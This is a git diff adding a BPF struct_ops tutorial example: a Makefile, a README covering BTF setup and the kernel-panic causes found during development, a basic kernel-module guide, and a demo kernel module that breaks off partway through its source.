+package.yaml +ecli +ecc +.output +struct_ops diff --git a/src/features/struct_ops/Makefile b/src/features/struct_ops/Makefile new file mode 100644 index 00000000..aa532cce --- /dev/null +++ b/src/features/struct_ops/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../third_party/blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = struct_ops # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/features/struct_ops/README.md b/src/features/struct_ops/README.md new file mode 100644 index 00000000..07ca3354 --- /dev/null +++ b/src/features/struct_ops/README.md @@ -0,0 +1,437 @@ +# BPF struct_ops Example with Custom Kernel Module + +This example demonstrates BPF struct_ops functionality using a custom kernel module that defines struct_ops operations triggered via a proc file write. + +## Overview + +struct_ops allows BPF programs to implement kernel subsystem operations dynamically. This example includes: + +1. **Kernel Module** (`module/hello.c`) - Defines `bpf_testmod_ops` struct_ops with three callbacks +2. **BPF Program** (`struct_ops.bpf.c`) - Implements the struct_ops callbacks in BPF +3. **User-space Loader** (`struct_ops.c`) - Loads the BPF program and triggers callbacks via `/proc/bpf_testmod_trigger` + +## Building and Running + +### 1. Build the kernel module: +```bash +cd module +make +cd .. +``` + +### 2. Load the kernel module: +```bash +sudo insmod module/hello.ko +``` + +### 3. Build the BPF program: +```bash +make +``` + +### 4. Run the example: +```bash +sudo ./struct_ops +``` + +### 5. Check kernel logs: +```bash +sudo dmesg -w +``` + +You should see output like: +``` +bpf_testmod loaded with struct_ops support +bpf_testmod_ops registered +Calling struct_ops callbacks: +BPF test_1 called! +test_1() returned: 42 +BPF test_2 called: 10 + 20 = 30 +test_2(10, 20) returned: 30 +BPF test_3 called with buffer length 21 +First char: H +test_3() called with buffer +``` + +### 6. Clean up: +```bash +# First, stop the BPF program gracefully (Ctrl-C if running in foreground) +# This ensures the BPF link is properly destroyed + +# Then unload the kernel module +sudo rmmod hello + +# If you get "Module hello is in use", there may still be a BPF struct_ops attached +# This can happen if the userspace process was killed (-9) instead of stopped gracefully +# Solutions: +# 1. Wait ~30 seconds for kernel to garbage collect the BPF link +# 2. Force unload: sudo rmmod -f hello (may be unstable) +# 3. Reboot the system + +# Clean build artifacts +make clean +``` + +**Note on Module Unloading:** +The kernel module maintains a reference count while BPF struct_ops programs are attached. When you stop the userspace loader program gracefully (Ctrl-C), it calls `bpf_link__destroy()` which properly detaches the struct_ops and decrements the module reference count. If the process is killed abruptly (kill -9), the kernel should eventually garbage collect the BPF link, but this may take some time. + +## How It Works + +1. The kernel module registers a custom struct_ops type `bpf_testmod_ops` +2. It creates `/proc/bpf_testmod_trigger` - writing to this file triggers the callbacks +3. The BPF program implements the three callbacks: `test_1`, `test_2`, and `test_3` +4. The user-space program loads the BPF program and periodically writes to the proc file +5. Each write triggers all registered callbacks, demonstrating BPF struct_ops in action + +## Troubleshooting + +### Common Issues + +- If you get "Failed to attach struct_ops", make sure the kernel module is loaded +- Check `dmesg` for any error messages from the kernel module or BPF verifier +- Ensure your kernel has CONFIG_BPF_SYSCALL=y and supports struct_ops + +## Detailed Troubleshooting Guide + +This section documents the complete process of resolving BTF and struct_ops issues encountered during development. + +### Issue 1: Missing BTF in Kernel Module + +**Problem:** +``` +libbpf: failed to find BTF info for struct_ops/bpf_testmod_ops +``` + +**Root Cause:** +The kernel module was not compiled with BTF (BPF Type Format) information, which is required for struct_ops to work. BTF provides type information that BPF programs need to interact with kernel structures. + +**Solution:** + +#### Step 1: Extract vmlinux with BTF +The kernel build system needs the `vmlinux` ELF binary (not just headers) to generate BTF for modules. + +```bash +# Extract vmlinux from compressed kernel image +sudo /usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux \ + /boot/vmlinuz-$(uname -r) > /tmp/vmlinux + +# Copy to kernel build directory +sudo cp /tmp/vmlinux /usr/src/linux-headers-$(uname -r)/vmlinux + +# Verify it's an ELF binary +file /tmp/vmlinux +# Output: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked +``` + +#### Step 2: Upgrade pahole (if needed) +The BTF generation requires `pahole` (from dwarves package) version 1.16+. Older versions don't support the `--btf_features` flag. + +Check your version: +```bash +pahole --version +``` + +If version is < 1.25, compile from source: + +```bash +# Install dependencies +sudo apt-get install -y libelf-dev cmake zlib1g-dev + +# Downgrade elfutils packages to matching versions +sudo apt-get install -y --allow-downgrades \ + libelf1t64=0.190-1.1ubuntu0.1 \ + libdw1t64=0.190-1.1ubuntu0.1 \ + libdw-dev=0.190-1.1ubuntu0.1 \ + libelf-dev=0.190-1.1ubuntu0.1 + +# Clone and build pahole +git clone https://git.kernel.org/pub/scm/devel/pahole/pahole.git /tmp/pahole +cd /tmp/pahole +mkdir build && cd build +cmake -DCMAKE_INSTALL_PREFIX=/usr .. +make -j$(nproc) +sudo make install + +# Verify new version +pahole --version # Should show v1.30 or higher +``` + +#### Step 3: Rebuild the module with BTF +The module Makefile already has BTF enabled with `-g -O2` flags. Simply rebuild: + +```bash +cd module +make clean +make +``` + +Verify BTF was generated: +```bash +readelf -S hello.ko | grep BTF +# Should show: +# [60] .BTF PROGBITS ... +# [61] .BTF.base PROGBITS ... +``` + +### Issue 2: Kernel Panic on Module Load + +**Problem:** +Loading the module causes a kernel panic or NULL pointer dereference. + +**Root Cause:** +The `bpf_struct_ops` structure was missing required callback functions that the kernel tries to access during registration: +- `.verifier_ops` - BPF verifier operations (NULL pointer dereference) +- `.init` - BTF initialization callback +- `.init_member` - Member initialization callback + +**Error Pattern in dmesg:** +``` +BUG: kernel NULL pointer dereference +Call Trace: + register_bpf_struct_ops + ... +``` + +**Solution:** +Add the required callbacks to the module (`module/hello.c`): + +```c +/* BTF initialization callback */ +static int bpf_testmod_ops_init(struct btf *btf) +{ + /* Initialize BTF if needed */ + return 0; +} + +/* Verifier access control */ +static bool bpf_testmod_ops_is_valid_access(int off, int size, + enum bpf_access_type type, + const struct bpf_prog *prog, + struct bpf_insn_access_aux *info) +{ + /* Allow all accesses for this example */ + return true; +} + +/* Verifier operations structure */ +static const struct bpf_verifier_ops bpf_testmod_verifier_ops = { + .is_valid_access = bpf_testmod_ops_is_valid_access, +}; + +/* Member initialization callback */ +static int bpf_testmod_ops_init_member(const struct btf_type *t, + const struct btf_member *member, + void *kdata, const void *udata) +{ + /* No special member initialization needed */ + return 0; +} + +/* Updated struct_ops definition with ALL required callbacks */ +static struct bpf_struct_ops bpf_testmod_ops_struct_ops = { + .verifier_ops = &bpf_testmod_verifier_ops, // REQUIRED + .init = bpf_testmod_ops_init, // REQUIRED + .init_member = bpf_testmod_ops_init_member, // REQUIRED + .reg = bpf_testmod_ops_reg, + .unreg = bpf_testmod_ops_unreg, + .cfi_stubs = &__bpf_ops_bpf_testmod_ops, + .name = "bpf_testmod_ops", + .owner = THIS_MODULE, +}; +``` + +**Why This Matters:** +The kernel's `register_bpf_struct_ops()` function expects these callbacks to be present. When it tries to call them and finds NULL pointers, it causes a kernel panic. These callbacks are essential for: +- **verifier_ops**: Validates BPF program access to struct_ops members +- **init**: Initializes BTF type information for the struct_ops +- **init_member**: Handles special initialization for data members + +After adding these callbacks, rebuild and reload: +```bash +cd module +make clean +make +sudo insmod hello.ko +dmesg | tail +# Should see: "bpf_testmod loaded with struct_ops support" +``` + +### Issue 3: BPF Program Load Failure - Invalid Helper + +**Problem:** +``` +libbpf: prog 'bpf_testmod_test_1': BPF program load failed: Invalid argument +program of this type cannot use helper bpf_trace_printk#6 +``` + +**Root Cause:** +struct_ops BPF programs have restricted helper function access. `bpf_trace_printk` (bpf_printk) is not allowed in struct_ops context because these programs run in a different context than tracing programs. + +**Solution:** +Remove all `bpf_printk()` calls from struct_ops BPF programs: + +```c +// BEFORE (fails to load): +SEC("struct_ops/test_1") +int BPF_PROG(bpf_testmod_test_1) +{ + bpf_printk("BPF test_1 called!\n"); // NOT ALLOWED + return 42; +} + +// AFTER (works): +SEC("struct_ops/test_1") +int BPF_PROG(bpf_testmod_test_1) +{ + /* Return a special value to indicate BPF implementation */ + return 42; +} +``` + +**Alternative Debugging Approaches:** +1. Use BPF maps to export counters/statistics to userspace +2. Use the kernel module's `printk()` to log struct_ops invocations +3. Use `bpftool prog tracelog` to see what programs are being called + +### Verification Checklist + +After resolving all issues, verify everything works: + +```bash +# 1. Check module BTF +readelf -S module/hello.ko | grep BTF + +# 2. Load module successfully +sudo insmod module/hello.ko +dmesg | tail -5 +# Should see: "bpf_testmod loaded with struct_ops support" + +# 3. Verify proc file created +ls -l /proc/bpf_testmod_trigger +# Should exist with write permissions + +# 4. Build and load BPF program +make +sudo ./struct_ops +# Should see: "Successfully loaded and attached BPF struct_ops!" + +# 5. Verify callbacks are being invoked +sudo dmesg | tail -20 +# Should see periodic output: +# Calling struct_ops callbacks: +# test_1() returned: 42 +# test_2(10, 20) returned: 30 +# test_3() called with buffer + +# 6. Clean up +sudo rmmod hello +``` + +### Key Takeaways + +1. **BTF is mandatory** for struct_ops - ensure `vmlinux` is available and `pahole` is recent enough +2. **All required callbacks must be present** in the `bpf_struct_ops` structure (verifier_ops, init, init_member) +3. **Helper restrictions apply** - struct_ops programs cannot use tracing helpers like `bpf_printk` +4. **Test incrementally** - load module first, then BPF program, to isolate issues + +## Kernel Source Code Analysis + +### Root Cause of Kernel Panic (Confirmed from Kernel 6.18-rc4 Source) + +The kernel panic was caused by **missing NULL pointer checks** in the kernel's struct_ops registration code. Analysis of the Linux kernel source code (version 6.18-rc4) reveals three critical locations where callback pointers are dereferenced without validation: + +#### 1. Missing NULL check for `st_ops->init` callback +**Location**: `kernel/bpf/bpf_struct_ops.c:381` + +```c +if (st_ops->init(btf)) { // ← NULL pointer dereference if init is NULL + pr_warn("Error in init bpf_struct_ops %s\n", + st_ops->name); + err = -EINVAL; + goto errout; +} +``` + +The code calls `st_ops->init(btf)` directly in the `bpf_struct_ops_desc_init()` function without checking if the callback exists. If a module registers struct_ops with `init = NULL`, this causes an immediate kernel panic. + +#### 2. Missing NULL check for `st_ops->init_member` callback +**Location**: `kernel/bpf/bpf_struct_ops.c:753` + +```c +err = st_ops->init_member(t, member, kdata, udata); // ← NULL pointer dereference +if (err < 0) + goto reset_unlock; + +/* The ->init_member() has handled this member */ +if (err > 0) + continue; +``` + +During map update operations, the kernel calls `st_ops->init_member()` for each struct member without verifying the callback pointer is non-NULL. + +#### 3. Missing NULL check for `st_ops->verifier_ops` +**Location**: `kernel/bpf/verifier.c:23486` + +```c +env->ops = st_ops->verifier_ops; // ← Assigns potentially NULL pointer +``` + +The BPF verifier assigns `verifier_ops` directly and later dereferences it through `env->ops->*` calls. If `verifier_ops` is NULL, subsequent verifier operations will cause a kernel panic. + +### Why These Callbacks Are Mandatory + +The kernel code **assumes** these callbacks exist and does not provide fallback behavior: + +1. **`init`**: Called during struct_ops registration to initialize BTF type information. No default implementation exists. +2. **`init_member`**: Called for each struct member during map updates to handle special initialization. Return value of 0 means "not handled", >0 means "handled", <0 is error. +3. **`verifier_ops`**: Provides verification operations (e.g., `is_valid_access`) that control BPF program access to struct_ops context. + +### Is This Fixed in Current Kernel? + +**No.** As of Linux kernel 6.18-rc4 (checked 2025-11-10), these NULL pointer dereferences still exist. The kernel code has not added defensive NULL checks for these callbacks. + +This means: +- ✅ **Our fix is correct** - providing all three callbacks prevents the kernel panic +- ❌ **Kernel could be more defensive** - ideally it should validate callbacks before dereferencing +- ⚠️ **All struct_ops modules MUST provide these callbacks** - this is an undocumented requirement + +### Recommendation for Kernel Upstream + +The kernel should add validation before dereferencing these pointers: + +```c +// Suggested fix for kernel/bpf/bpf_struct_ops.c:381 +if (st_ops->init && st_ops->init(btf)) { + pr_warn("Error in init bpf_struct_ops %s\n", st_ops->name); + err = -EINVAL; + goto errout; +} + +// Suggested fix for kernel/bpf/bpf_struct_ops.c:753 +if (st_ops->init_member) { + err = st_ops->init_member(t, member, kdata, udata); + if (err < 0) + goto reset_unlock; + if (err > 0) + continue; +} + +// Suggested fix for registration +if (!st_ops->verifier_ops) { + pr_warn("struct_ops %s missing verifier_ops\n", st_ops->name); + return -EINVAL; +} +``` + +However, until such changes are merged, **all struct_ops implementations must provide these callbacks** to avoid kernel panics. + +--- + +## Additional Resources + +- **Kernel Test Module**: `/home/yunwei37/linux/tools/testing/selftests/bpf/test_kmods/bpf_testmod.c` - Official kernel reference implementation +- **BPF Documentation**: https://www.kernel.org/doc/html/latest/bpf/ + +## Contributing + +If you encounter similar issues or have improvements, please document them and contribute back to the tutorial. diff --git a/src/features/struct_ops/module/.gitignore b/src/features/struct_ops/module/.gitignore new file mode 100644 index 00000000..9523173a --- /dev/null +++ b/src/features/struct_ops/module/.gitignore @@ -0,0 +1,23 @@ +# Ignore object files and kernel modules +*.o +*.ko +*.mod +*.mod.c +*.symvers +*.order + +# Ignore temporary and backup files +*~ +*.bak +*.tmp +*.swp + +# Ignore build directory if generated +/Module.symvers +/Modules.markers +/Module.markers +/modules.order + +# Ignore other automatically generated files +*.cmd +.tmp_versions/ diff --git a/src/features/struct_ops/module/Makefile b/src/features/struct_ops/module/Makefile new file mode 100644 index 00000000..4b6f6231 --- /dev/null +++ b/src/features/struct_ops/module/Makefile @@ -0,0 +1,11 @@ +obj-m += hello.o # hello.o is the target + +# Enable BTF generation +KBUILD_CFLAGS += -g -O2 + +all: + # Compile the module + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/src/features/struct_ops/module/README.txt b/src/features/struct_ops/module/README.txt new file mode 100644 index 00000000..d2dfadad --- /dev/null +++ b/src/features/struct_ops/module/README.txt @@ -0,0 +1,134 @@ +# write a basic kernel module + +## hello world + +Writing a Linux kernel module involves creating code that can be loaded into and unloaded from the kernel dynamically, without rebooting the system. Here’s a simple step-by-step guide to help you write a basic kernel module: + +### 1. Set Up Your Environment + +Make sure you have the Linux kernel headers installed and a suitable development environment ready. For Ubuntu or Debian, install them with: + +```bash +sudo apt-get install linux-headers-$(uname -r) build-essential +``` + +### 2. Write the Kernel Module Code + +Here’s an example of a very basic Linux kernel module: + +```c +// hello.c: A simple Linux kernel module +#include // Macros for module initialization +#include // Core header for loading modules +#include // Kernel logging macros + +// Function executed when the module is loaded +static int __init hello_init(void) +{ + printk(KERN_INFO "Hello, world!\n"); + return 0; // Return 0 if successful +} + +// Function executed when the module is removed +static void __exit hello_exit(void) +{ + printk(KERN_INFO "Goodbye, world!\n"); +} + +// Macros to define the module’s init and exit points +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // License type (GPL) +MODULE_AUTHOR("Your Name"); // Module author +MODULE_DESCRIPTION("A simple module"); // Module description +MODULE_VERSION("1.0"); // Module version +``` + +### 3. Create a Makefile + +To compile the kernel module, you’ll need a `Makefile`. Here's a simple one: + +```makefile +obj-m += hello.o # hello.o is the target + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +``` + +### 4. Compile the Module + +Run the following command in the directory where your `hello.c` and `Makefile` are located: + +```bash +make +``` + +This will generate a file called `hello.ko`, which is the compiled kernel module. + +### 5. Load the Module + +To insert the module into the kernel, use `insmod`: + +```bash +sudo insmod hello.ko +``` + +### 6. Check the Logs + +To see the output from the `printk` statements, use the `dmesg` command: + +```bash +dmesg | tail +``` + +You should see something like: + +```txt +[ 1234.5678] Hello, world! +``` + +### 7. Remove the Module + +To unload the module, use `rmmod`: + +```bash +sudo rmmod hello +``` + +Again, check the logs using `dmesg`: + +```bash +sudo dmesg | tail +``` + +You should see: + +```txt +[ 1234.9876] Goodbye, world! +``` + +### 8. Clean Up + +To clean up the build files, run: + +```bash +make clean +``` + +### Notes + +- **License**: The `MODULE_LICENSE("GPL")` ensures the module is GPL-compliant, which allows it to use symbols (functions) exported by the kernel. +- **Debugging**: Use `printk` for logging within the module. It behaves similarly to `printf` but is designed for kernel space. +- **Module Parameters**: You can add parameters to modules using `module_param()` to pass arguments when the module is loaded. + +### Next Steps + +Once you are familiar with this basic example, you can explore: + +- Writing more advanced modules that interact with hardware or the filesystem. +- Using kernel-specific APIs like work queues, kthreads, or handling interrupts. +- Diving into eBPF or loadable kernel module techniques for debugging and tracing kernel events. diff --git a/src/features/struct_ops/module/README.zh.txt b/src/features/struct_ops/module/README.zh.txt new file mode 100644 index 00000000..d2dfadad --- /dev/null +++ b/src/features/struct_ops/module/README.zh.txt @@ -0,0 +1,134 @@ +# write a basic kernel module + +## hello world + +Writing a Linux kernel module involves creating code that can be loaded into and unloaded from the kernel dynamically, without rebooting the system. Here’s a simple step-by-step guide to help you write a basic kernel module: + +### 1. Set Up Your Environment + +Make sure you have the Linux kernel headers installed and a suitable development environment ready. For Ubuntu or Debian, install them with: + +```bash +sudo apt-get install linux-headers-$(uname -r) build-essential +``` + +### 2. Write the Kernel Module Code + +Here’s an example of a very basic Linux kernel module: + +```c +// hello.c: A simple Linux kernel module +#include // Macros for module initialization +#include // Core header for loading modules +#include // Kernel logging macros + +// Function executed when the module is loaded +static int __init hello_init(void) +{ + printk(KERN_INFO "Hello, world!\n"); + return 0; // Return 0 if successful +} + +// Function executed when the module is removed +static void __exit hello_exit(void) +{ + printk(KERN_INFO "Goodbye, world!\n"); +} + +// Macros to define the module’s init and exit points +module_init(hello_init); +module_exit(hello_exit); + +MODULE_LICENSE("GPL"); // License type (GPL) +MODULE_AUTHOR("Your Name"); // Module author +MODULE_DESCRIPTION("A simple module"); // Module description +MODULE_VERSION("1.0"); // Module version +``` + +### 3. Create a Makefile + +To compile the kernel module, you’ll need a `Makefile`. Here's a simple one: + +```makefile +obj-m += hello.o # hello.o is the target + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean +``` + +### 4. Compile the Module + +Run the following command in the directory where your `hello.c` and `Makefile` are located: + +```bash +make +``` + +This will generate a file called `hello.ko`, which is the compiled kernel module. + +### 5. Load the Module + +To insert the module into the kernel, use `insmod`: + +```bash +sudo insmod hello.ko +``` + +### 6. Check the Logs + +To see the output from the `printk` statements, use the `dmesg` command: + +```bash +dmesg | tail +``` + +You should see something like: + +```txt +[ 1234.5678] Hello, world! +``` + +### 7. Remove the Module + +To unload the module, use `rmmod`: + +```bash +sudo rmmod hello +``` + +Again, check the logs using `dmesg`: + +```bash +sudo dmesg | tail +``` + +You should see: + +```txt +[ 1234.9876] Goodbye, world! +``` + +### 8. Clean Up + +To clean up the build files, run: + +```bash +make clean +``` + +### Notes + +- **License**: The `MODULE_LICENSE("GPL")` ensures the module is GPL-compliant, which allows it to use symbols (functions) exported by the kernel. +- **Debugging**: Use `printk` for logging within the module. It behaves similarly to `printf` but is designed for kernel space. +- **Module Parameters**: You can add parameters to modules using `module_param()` to pass arguments when the module is loaded. + +### Next Steps + +Once you are familiar with this basic example, you can explore: + +- Writing more advanced modules that interact with hardware or the filesystem. +- Using kernel-specific APIs like work queues, kthreads, or handling interrupts. +- Diving into eBPF or loadable kernel module techniques for debugging and tracing kernel events. diff --git a/src/features/struct_ops/module/bpf_testmod.h b/src/features/struct_ops/module/bpf_testmod.h new file mode 100644 index 00000000..bfffd40d --- /dev/null +++ b/src/features/struct_ops/module/bpf_testmod.h @@ -0,0 +1,11 @@ +#ifndef _BPF_TESTMOD_H +#define _BPF_TESTMOD_H + +/* Shared struct_ops definition between kernel module and BPF program */ +struct bpf_testmod_ops { + int (*test_1)(void); + int (*test_2)(int a, int b); + int (*test_3)(const char *buf, int len); +}; + +#endif /* _BPF_TESTMOD_H */ \ No newline at end of file diff --git a/src/features/struct_ops/module/compact.h b/src/features/struct_ops/module/compact.h new file mode 100644 index 00000000..5ff2115f --- /dev/null +++ b/src/features/struct_ops/module/compact.h @@ -0,0 +1,11 @@ +// Compatible for lower kernel versions. No need in 6.11. +#ifndef BTF_SET8_KFUNCS +/* This flag implies BTF_SET8 holds kfunc(s) */ +#define BTF_SET8_KFUNCS (1 << 0) +#endif +#ifndef BTF_KFUNCS_START +#define BTF_KFUNCS_START(name) static struct btf_id_set8 __maybe_unused name = { .flags = BTF_SET8_KFUNCS }; +#endif +#ifndef BTF_KFUNCS_END +#define BTF_KFUNCS_END(name) +#endif diff --git a/src/features/struct_ops/module/hello.c b/src/features/struct_ops/module/hello.c new file mode 100644 index 00000000..03caa8ef --- /dev/null +++ b/src/features/struct_ops/module/hello.c @@ -0,0 +1,205 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Define our custom struct_ops operations */ +struct bpf_testmod_ops { + int (*test_1)(void); + int (*test_2)(int a, int b); + int (*test_3)(const char *buf, int len); +}; + +/* Global instance that BPF programs will implement */ +static struct bpf_testmod_ops __rcu *testmod_ops; + +/* Proc file to trigger the struct_ops */ +static struct proc_dir_entry *trigger_file; + +/* CFI stub functions - required for struct_ops */ +static int bpf_testmod_ops__test_1(void) +{ + return 0; +} + +static int bpf_testmod_ops__test_2(int a, int b) +{ + return 0; +} + +static int bpf_testmod_ops__test_3(const char *buf, int len) +{ + return 0; +} + +/* CFI stubs structure */ +static struct bpf_testmod_ops __bpf_ops_bpf_testmod_ops = { + .test_1 = bpf_testmod_ops__test_1, + .test_2 = bpf_testmod_ops__test_2, + .test_3 = bpf_testmod_ops__test_3, +}; + +/* BTF and verifier callbacks */ +static int bpf_testmod_ops_init(struct btf *btf) +{ + /* Initialize BTF if needed */ + return 0; +} + +static bool bpf_testmod_ops_is_valid_access(int off, int size, + enum bpf_access_type type, + const struct bpf_prog *prog, + struct bpf_insn_access_aux *info) +{ + /* Allow all accesses for now */ + return true; +} + +/* Allow specific BPF helpers to be used in struct_ops programs */ +static const struct bpf_func_proto * +bpf_testmod_ops_get_func_proto(enum bpf_func_id func_id, + const struct bpf_prog *prog) +{ + /* Use base func proto which includes trace_printk and other basic helpers */ + return bpf_base_func_proto(func_id, prog); +} + +static const struct bpf_verifier_ops bpf_testmod_verifier_ops = { + .is_valid_access = bpf_testmod_ops_is_valid_access, + .get_func_proto = bpf_testmod_ops_get_func_proto, +}; + +static int bpf_testmod_ops_init_member(const struct btf_type *t, + const struct btf_member *member, + void *kdata, const void *udata) +{ + /* No special member initialization needed */ + return 0; +} + +/* Registration function */ +static int bpf_testmod_ops_reg(void *kdata, struct bpf_link *link) +{ + struct bpf_testmod_ops *ops = kdata; + + /* Only one instance at a time */ + if (cmpxchg(&testmod_ops, NULL, ops) != NULL) + return -EEXIST; + + pr_info("bpf_testmod_ops registered\n"); + return 0; +} + +/* Unregistration function */ +static void bpf_testmod_ops_unreg(void *kdata, struct bpf_link *link) +{ + struct bpf_testmod_ops *ops = kdata; + + if (cmpxchg(&testmod_ops, ops, NULL) != ops) { + pr_warn("bpf_testmod_ops: unexpected unreg\n"); + return; + } + + pr_info("bpf_testmod_ops unregistered\n"); +} + +/* Struct ops definition */ +static struct bpf_struct_ops bpf_testmod_ops_struct_ops = { + .verifier_ops = &bpf_testmod_verifier_ops, + .init = bpf_testmod_ops_init, + .init_member = bpf_testmod_ops_init_member, + .reg = bpf_testmod_ops_reg, + .unreg = bpf_testmod_ops_unreg, + .cfi_stubs = &__bpf_ops_bpf_testmod_ops, + .name = "bpf_testmod_ops", + .owner = THIS_MODULE, +}; + +/* Proc file write handler to trigger struct_ops */ +static ssize_t trigger_write(struct file *file, const char __user *buf, + size_t count, loff_t *pos) +{ + struct bpf_testmod_ops *ops; + char kbuf[64]; + int ret = 0; + + if (count >= sizeof(kbuf)) + count = sizeof(kbuf) - 1; + + if (copy_from_user(kbuf, buf, count)) + return -EFAULT; + + kbuf[count] = '\0'; + + rcu_read_lock(); + ops = rcu_dereference(testmod_ops); + if (ops) { + pr_info("Calling struct_ops callbacks:\n"); + + if (ops->test_1) { + ret = ops->test_1(); + pr_info("test_1() returned: %d\n", ret); + } + + if (ops->test_2) { + ret = ops->test_2(10, 20); + pr_info("test_2(10, 20) returned: %d\n", ret); + } + + if (ops->test_3) { + 